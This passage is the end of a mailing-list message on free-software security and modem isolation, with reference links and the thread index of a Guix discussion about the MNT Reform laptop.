to use free software because of security reasons.

And here GNU/Linux has probably way more potential to achieve that than
Android in the long run due to its architecture and code quality.

References:
-----------
[1]https://libreplanet.org/wiki/Group:Hardware/research/WiFi/Realtek
[2]https://redmine.replicant.us/projects/replicant/wiki/ModemIsolationResearch
[3]https://osmocom.org/projects/quectel-modems/wiki/Pine64_Pinephone
[4]https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20video%20and%20slides/DEF%20CON%2027%20Conference%20-%20Xiling%20Gong%20-%20Exploiting%20Qualcomm%20WLAN%20and%20Modem%20Over%20The%20Air.mp4
[5]Typically smartphones and computers of dissident living abroad are
   targeted in order to find out who they work with in the repressive
   country in order to kill / torture / imprison these people.

Denis.

[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 833 bytes --]

^ permalink raw reply	[flat|nested] 31+ messages in thread

end of thread, other threads:[~2021-09-09 14:13 UTC | newest]

Thread overview: 31+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber
2020-05-08 18:19 ` Simon Josefsson
2020-05-09 13:03   ` Christopher Lemmer Webber
2020-05-08 18:30 ` Ekaitz Zarraga
2020-05-08 18:52 ` Vagrant Cascadian
2020-05-08 19:16   ` Leo Famulari
2020-05-08 20:44 ` John Soo
2020-09-02 22:22 ` Andreas Enge
2020-09-13 14:10   ` Andreas Enge
2020-09-15  3:23     ` Fredrik Salomonsson
2021-08-17 17:24 ` Christine Lemmer-Webber
2021-08-17 23:49   ` Fredrik Salomonsson
2021-09-05  1:31     ` Christine Lemmer-Webber
2021-09-06 17:07       ` Christine Lemmer-Webber
2021-09-06 19:37         ` Fredrik Salomonsson
2021-09-06 20:50           ` Christine Lemmer-Webber
2021-09-06 23:59             ` Fredrik Salomonsson
2021-09-07  1:13               ` Fredrik Salomonsson
2021-09-07  4:36       ` Denis 'GNUtoo' Carikli
2021-09-07 18:18         ` Christine Lemmer-Webber
2021-09-07 20:07           ` Denis 'GNUtoo' Carikli
2021-09-08 10:32             ` Christine Lemmer-Webber
2021-09-08 16:47               ` Vagrant Cascadian
2021-09-08 18:10                 ` Christine Lemmer-Webber
2021-09-09 14:10                 ` Denis 'GNUtoo' Carikli
2021-09-08 18:08               ` Christine Lemmer-Webber
2021-08-18  0:36 ` Jonathan McHugh
2021-08-29 19:10   ` Joshua Branson
2021-08-29 21:38   ` Jonathan McHugh
2021-08-29 23:27     ` Joshua Branson
2021-08-30  9:02     ` Jonathan McHugh

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).